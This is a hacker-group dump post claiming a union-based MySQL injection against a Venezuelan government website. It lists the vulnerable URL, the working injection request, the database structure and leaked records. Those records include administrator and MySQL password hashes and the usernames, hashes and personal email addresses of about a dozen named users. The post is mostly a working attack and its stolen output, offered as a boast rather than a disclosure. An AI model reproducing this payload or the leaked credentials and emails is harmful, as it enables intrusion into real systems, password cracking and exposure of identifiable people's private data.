******************************************************************
(+) Target : http://www.abae.gob.ve
(+) Authors : WilyXem & QuisterTow
(+) Twitter : https://twitter.com/QuisterTow https://twitter.com/WilyXem
(+) Date : 17.02.2013
(+) Hour : 00:00 AM
(+) Method : MySQL Injection Union Based {GET}
******************************************************************
[+] WebSite : http://www.abae.gob.ve/noticias/vernoticia.php?id=1
[+] MySQL Injection Union Based Syntax :
{GET} http://www.abae.gob.ve/noticias/vernoticia.php?id=-1 union all select 1,2,3,4,version(),6,7,8-- - {GET}
[+] DataBase Version : 5.1.66-0+squeeze1
[+] Current DataBase : paginaweb
[+] Others DB's : information_schema, miranda, mysql, phpmyadmin.
[+] System User : root@localhost
DataBase : miranda
+-----------------------------+
+---------+
| miranda |
+---------+
Tables from miranda:
+--------------------+
| administrator |
| ente_gubernamental |
| miranda_usuarios |
| solicitud |
| usuario_juridica |
| usuario_natural |
+--------------------+
Columns from table ==> administrator:
+------------------+---------+----------+
| id_administrador | usuario | password |
+------------------+---------+----------+
Data from id_administrator, usuario & password:
[ID] [Usuario] [Password (MD5)]
1 administrador fd7c74a9ca1bd8f53281923ff8229fa1
2 JeanPPlazaB c984913060fb5ae18c1bd86abbe2687f
3 JJmachadoO c2044fac8906bff22431590a1691992c
Data from mysql.user:
root~*56712517D39D1F4B5B19A8F23AC5F0FD7426520A
debian-sys-maint~*EE940FA8BB40704F513E9AC958B1419CBD0DDE30
phpmyadmin~*56712517D39D1F4B5B19A8F23AC5F0FD7426520A
Data from miranda.miranda_usuarios:
nombre_usuario, password, correo_electronico, tipo_usuario:
rfranco 6f98a47c7b7da6a8998845ff1c6ad643 rfranco@abae.gob.ve Persona Natural
mmedina cd9c429aa1be0f8818f8e36d621bc631 mmedina@abae.gob.ve Persona Natural
alvarz3 7c98db9a8c0ce2b20ee9b3eed379a364 ealvarez.zimbra@gmail.com Persona Natural
juancgfidalgo 678b34ef0b034c5dbc1aa1ad7be585c2 juancgfidalgo@gmail.com Persona Natural
14392646 5a5c5075126fed7d4a94b1d3ac494c64 jhonnyjosevielmaangulo@gmail.com Persona Natural
tomasorta ab3eaec26350147470dc3c63e9fc0f28 ortatomas@gmail.com Persona Natural
pasalo32@hotmail.com ff28e17251338a0ef2d1bb760e6de4c5 pasalo32@hotmail.com Persona Natural
jupiter figuera 8cfa3c94c86dc49bb0f389ebed789c31 jfigueray@yahoo.com Persona Natural
franklinjavierd 246aaaff451f18063ab0c0e5c4377ea5 franklinjavierd@hotmail.com Persona Natural
rojaslaq e9d97bde452148490aaaf4276d4ebeb9 rojaslaq@pdvsa.com Persona Natural
rchacare 2ba32fc7ce353717c35b520370d167d4 rafael28876@hotmail.com Persona Natural
augusto mena 358fe8da8c1357709ec2313e5c86e064 kuyabisi1926@gmail.com Persona Natural
===============================
Thanks, QuisterTow & WilyXem.
===============================